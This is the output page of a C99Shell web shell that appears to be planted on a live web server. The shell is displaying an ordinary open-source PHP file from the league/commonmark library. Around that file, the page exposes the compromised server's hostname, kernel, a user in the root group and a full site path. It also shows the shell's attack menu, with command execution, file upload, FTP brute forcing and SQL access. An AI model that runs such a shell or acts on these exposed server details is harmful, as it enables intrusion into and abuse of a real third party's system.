!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/league/commonmark/src/Extension/Table/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TableExtension.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * This is part of the league/commonmark package.
 *
 * (c) Martin HasoĊˆ <martin.hason@gmail.com>
 * (c) Webuni s.r.o. <info@webuni.cz>
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark\Extension\Table;

use 
League\CommonMark\Environment\EnvironmentBuilderInterface;
use 
League\CommonMark\Extension\ConfigurableExtensionInterface;
use 
League\CommonMark\Renderer\HtmlDecorator;
use 
League\Config\ConfigurationBuilderInterface;
use 
Nette\Schema\Expect;

final class 
TableExtension implements ConfigurableExtensionInterface
{
    public function 
configureSchema(ConfigurationBuilderInterface $builder): void
    
{
        
$attributeArraySchema Expect::arrayOf(
            
Expect::type('string|string[]|bool'), // attribute value(s)
            
'string' // attribute name
        
)->mergeDefaults(false);

        
$builder->addSchema('table'Expect::structure([
            
'wrap' => Expect::structure([
                
'enabled' => Expect::bool()->default(false),
                
'tag' => Expect::string()->default('div'),
                
'attributes' => Expect::arrayOf(Expect::string()),
            ]),
            
'alignment_attributes' => Expect::structure([
                
'left' => (clone $attributeArraySchema)->default(['align' => 'left']),
                
'center' => (clone $attributeArraySchema)->default(['align' => 'center']),
                
'right' => (clone $attributeArraySchema)->default(['align' => 'right']),
            ]),
        ]));
    }

    public function 
register(EnvironmentBuilderInterface $environment): void
    
{
        
$tableRenderer = new TableRenderer();
        if (
$environment->getConfiguration()->get('table/wrap/enabled')) {
            
$tableRenderer = new HtmlDecorator($tableRenderer$environment->getConfiguration()->get('table/wrap/tag'), $environment->getConfiguration()->get('table/wrap/attributes'));
        }

        
$environment
            
->addBlockStartParser(new TableStartParser())

            ->
addRenderer(Table::class, $tableRenderer)
            ->
addRenderer(TableSection::class, new TableSectionRenderer())
            ->
addRenderer(TableRow::class, new TableRowRenderer())
            ->
addRenderer(TableCell::class, new TableCellRenderer($environment->getConfiguration()->get('table/alignment_attributes')));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0146 ]--